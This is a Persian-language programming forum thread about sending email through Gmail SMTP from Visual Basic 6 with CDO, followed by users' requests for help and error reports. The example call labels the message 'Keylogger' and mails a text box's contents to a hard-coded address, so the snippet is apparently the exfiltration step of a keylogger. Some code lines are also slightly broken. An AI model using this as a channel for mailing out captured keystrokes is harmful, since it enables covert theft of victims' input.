نحوه ارسال ايميل با استفاده از Gmail

[HjSoft]

سلام ، دوستان ...
چند تا از دوستان از من خواسته بودن كه كد مربوط به ارسال ايميل رو براشون بزارم .
پس اول يك مقدمه :
اين كدي كه من گذاشتم مربوط ميشه به Gmail ، زيرا ياهو امكان استفاده از POP رو به كاربران عاديش نمي ده و شما براي اينكه بتونيد از اين سرويس استفاده كنيد بايد حتما يك آيدي بخريد كه طبيعتا عاقلانه نيست .
قبلا در رابطه با اين موضوع زياد بحث شده و من زياد وارد اين مباحث نمي شم فقط اين رو بگم كه كلا دو راه براي ارسال Email وجود داره ، 1 - استفاده از PHP در فضاي وب با مجوز PHP ( مثلا پرشين گيگ اين مجوز رو نمي ده ، چرا ؟ چون به راحتي اين گونه سايت ها با دادن مجوز Php هك ميشن .)
2- استفاده از POP در نرم افزار ها
خوب روي مبحث PHP زياد بحث شده و الان يك تاپيك به نام ارسال ايميل به جيميل و ياهو هست كه روي اين موضوع زياد بحث مي كنه ، اما اين براي كاربران عادي و بدون فضا يك مشكلي هست كه چگونه يك هاست پيدا كنند كه مجوز استفاده از PHp بده . ( در ضمن (( تبليغات نباشه ))) شما ميتونيد از گيگفا يا هاست هاي اينگونه استفاده كنيد )
ولي مبحث كلي امروز ما روي استفاده از POP هست . بدون هيچ مقدمه بيشتري كد ها رو مي گم :
*** البته براي حفظ كپي رايت و همكاري اين كد ها با كمك يكي از كاربران سايت به نام مجازي RAHA ساخته شده . ****
خوب مي رسيم سر اصل مطلب :
كد هاي مربوط به به اين روش زياد سخت نيست :
يك Module بسازيد و كد هاي زير را درون آن كپي كنيد :

Option Explicit

'start SendMail code
Function SendMail(Sender As String, Subject As String, Reciever As String, Text As String, Password As String, AttachFile As String) As Boolean
If Sender <> "" Or Password <> "" Then
Form1.MousePointer = 11
Dim iMsg, iConf, Flds, schema, SendEmailGmail
Set iMsg = CreateObject("CDO.Message")
Set iConf = CreateObject("CDO.Configuration")
Set Flds = iConf.Fields

' send one copy with Google SMTP server (with autentication)
schema = "http://schemas.microsoft.com/cdo/configuration/"
Flds.Item(schema & "sendusing") = 2
Flds.Item(schema & "smtpserver") = "smtp.gmail.com"
Flds.Item(schema & "smtpserverport") = 465
Flds.Item(schema & "smtpauthenticate") = 1
Flds.Item(schema & "sendusername") = Sender
Flds.Item(schema & "sendpassword") = Password
Flds.Item(schema & "smtpusessl") = 1
Flds.Update

With iMsg
DoEvents
.To = Reciever
.From = Sender
.Subject = Subject
.HTMLBody = Text
.Sender = Sender
.Organization = "S.M.B Productions"
.ReplyTo = Sender
If AttachFile <> "" Then
.AddAttachment (AttachFile)
End If
Set .Configuration = iConf
SendEmailGmail = .send
End With

Set iMsg = Nothing
Set iConf = Nothing
Set Flds = Nothing
Form1.MousePointer = 0
SendMail = True
Else
MsgBox "Please, Fill the Sender Mail Address or Sender Mail Password", vbCritical, "Connection Error"
SendMail = False
End If
End Function
'end SendMail code

و داخل فرمتون يك تكست باكس قرار بدين به نام TEXT1 و يك Button هم بگذاريد ، سپس كد زير را درون رويداد Click بنويسيد :

Dim send As Boolean
send = mdlMail.SendMail("hjsoft.hck@gmail.com ( SENDER ID )", "Keylogger", "hjsoft.hck@gmail.com (RECIVER ID)", Text1.Text, "YOUR Gmail Pass", "")
If send = True Then
Msgbox (" Massage Sent. This Code By Hj"(
End If
Timer7.Enabled = False

البته Attachment قبول نمي كنه ، اما من سعي خودمو مي كنم كه درستش كنم .
در ضمن اگر براتون مقدور بود براي Receiver از ياهو هم استفاده كنيد ، شايد قبول كنه .
بازم مي گم اين كد قبلا توي سايت بوده ، من پيدا نكردم و از كاربري به نام Raha گرفتم . اين كد از هركي بود بگه تا به عنوان كپي رايت ثبت كنم .

[41134100]

ممنون میشم اگه به صورت پروژه بزارید و توضیح بدید که متن ایمیل و یوزر و پسورد و ......... رو کجا بنویسیم؟

[hossein033]

مطلب جالبی هست :قهقهه:
امیدوارم بیشتر بهش برسید تا هم ما یه چیزی یاد بگیریم و هم دیگران به هر حال از تون ممنونم :تشویق:

[HjSoft]

در جواب دوست عزيزم 41134100
شما
mdlmail.sendmail رو بزن ، همه چيز رو متوجه مي شي . البته بايد نام Module شما mdlmailباشه .

[Golsha]

ببخشيد اگه تو Richtextbox عكس بود عكس رو هم مي فرسته

[HjSoft]

خير ف عكس رو ساپورت نميكنه ، ولي دارم رو قسمت اتچ كار ميكنم . اما فايل Hex عكس رو فكر كنم بفرسته .

[Golsha]

فايل hex چيه ؟؟؟

[aram.joker]

ميشه لطفا يكي اين برنامه رو به صروت پرو‍‍ژه بزاره
من كه گيج شدم
ممنون

[saman999]

ميشه به صورت پروژه بزاريد اين آموزش

[sina26]

سلام
دوستان تو این آدرس هم در این مورد بحث شده است

http://barnamenevis.org/forum/showthread.php?t=169136&highlight=%D8%A7%D8%B1%D8%B3%D8%A7%D9%84+gmail&page=2

[HjSoft]

سورسی که لازم نیست . شما فقط یک ماژول با نام mdlmail بساز . کد هارو توش بنویس ، بعد توی فرم اصلی هم کدی رو که گفتم بزار . یه سری ابزار هم هست مثل 2 تا تکست باکس و 1 دکمه ، که دیگه خودت میتونی بزاری . این روش تا حالا که 6 ماهی گذشته هنوز داره کار میکنه !

[look20]

به این پست در این تاپیک برید
http://barnamenevis.org/forum/showthread.php?t=152917
البته توی صفحه دومش توی این پست
نحوه رفع اروری که دوستان گفته بودند رو توضیح دادم
http://barnamenevis.org/forum/showthread.php?p=953383#post953383

[saman999]

دوست من به من ارور ميده که نميتونم ماژول رو اديت کنم چرا؟

[look20]

ارور چی؟ توی ماژول که نباید بری باید توی فرم frmMain باید همون کاری که گفتم رو انجام بدید نه جای دیگه
درضمن فایلی توی پست اول این تاپیک هست رو دانلود کردی؟ اگه نه اول دانلود کن
http://barnamenevis.org/forum/showthread.php?t=152917
بعد توی صفحه دوم همین تاپیک گفتم چکار کن

[saman999]

عکس نگاه کن دوست من



http://imagebmp.com/images/17908507823169840036.jpg

[HjSoft]

Read-only رو بردار /

[hmrbesharat]

دوستان ميتونيد از اين برنامه استفاده كنيد
با همين تابع نوشته شده ( البته قبل از اينكه اقاي HjSoft (http://barnamenevis.org/forum/member.php?u=39205) اين تايپيك رو بزنه :لبخند: )

[nekooee]

سلام ، دوستان ...
....
خوب مي رسيم سر اصل مطلب :
كد هاي مربوط به به اين روش زياد سخت نيست :
يك Module بسازيد و كد هاي زير را درون آن كپي كنيد :

Option Explicit

'start SendMail code
Function SendMail(Sender As String, Subject As String, Reciever As String, Text As String, Password As String, AttachFile As String) As Boolean
If Sender <> "" Or Password <> "" Then
Form1.MousePointer = 11
Dim iMsg, iConf, Flds, schema, SendEmailGmail
Set iMsg = CreateObject("CDO.Message")
Set iConf = CreateObject("CDO.Configuration")
Set Flds = iConf.Fields

' send one copy with Google SMTP server (with autentication)
schema = "http://schemas.microsoft.com/cdo/configuration/"
Flds.Item(schema & "sendusing") = 2
Flds.Item(schema & "smtpserver") = "smtp.gmail.com"
Flds.Item(schema & "smtpserverport") = 465
Flds.Item(schema & "smtpauthenticate") = 1
Flds.Item(schema & "sendusername") = Sender
Flds.Item(schema & "sendpassword") = Password
Flds.Item(schema & "smtpusessl") = 1
Flds.Update

With iMsg
DoEvents
.To = Reciever
.From = Sender
.Subject = Subject
.HTMLBody = Text
.Sender = Sender
.Organization = "S.M.B Productions"
.ReplyTo = Sender
If AttachFile <> "" Then
.AddAttachment (AttachFile)
End If
Set .Configuration = iConf
SendEmailGmail = .send
End With

Set iMsg = Nothing
Set iConf = Nothing
Set Flds = Nothing
Form1.MousePointer = 0
SendMail = True
Else
MsgBox "Please, Fill the Sender Mail Address or Sender Mail Password", vbCritical, "Connection Error"
SendMail = False
End If
End Function
'end SendMail code
و داخل فرمتون يك تكست باكس قرار بدين به نام TEXT1 و يك Button هم بگذاريد ، سپس كد زير را درون رويداد Click بنويسيد :

Dim send As Boolean
send = mdlMail.SendMail("hjsoft.hck@gmail.com ( SENDER ID )", "Keylogger", "hjsoft.hck@gmail.com (RECIVER ID)", Text1.Text, "YOUR Gmail Pass", "")
If send = True Then
Msgbox (" Massage Sent. This Code By Hj"(
End If
Timer7.Enabled = Falseالبته Attachment قبول نمي كنه ، اما من سعي خودمو مي كنم كه درستش كنم .
در ضمن اگر براتون مقدور بود براي Receiver از ياهو هم استفاده كنيد ، شايد قبول كنه .
بازم مي گم اين كد قبلا توي سايت بوده ، من پيدا نكردم و از كاربري به نام Raha گرفتم . اين كد از هركي بود بگه تا به عنوان كپي رايت ثبت كنم .

سلام دوست عزیز چرا برای من این ایراد رو میگیره و اجرا نمیشه؟
ویندوز من هم ویندوز 7 هست. لطفا راهنمایی کنید


64272

64271

http://barnamenevis.org/images/misc/pencil.png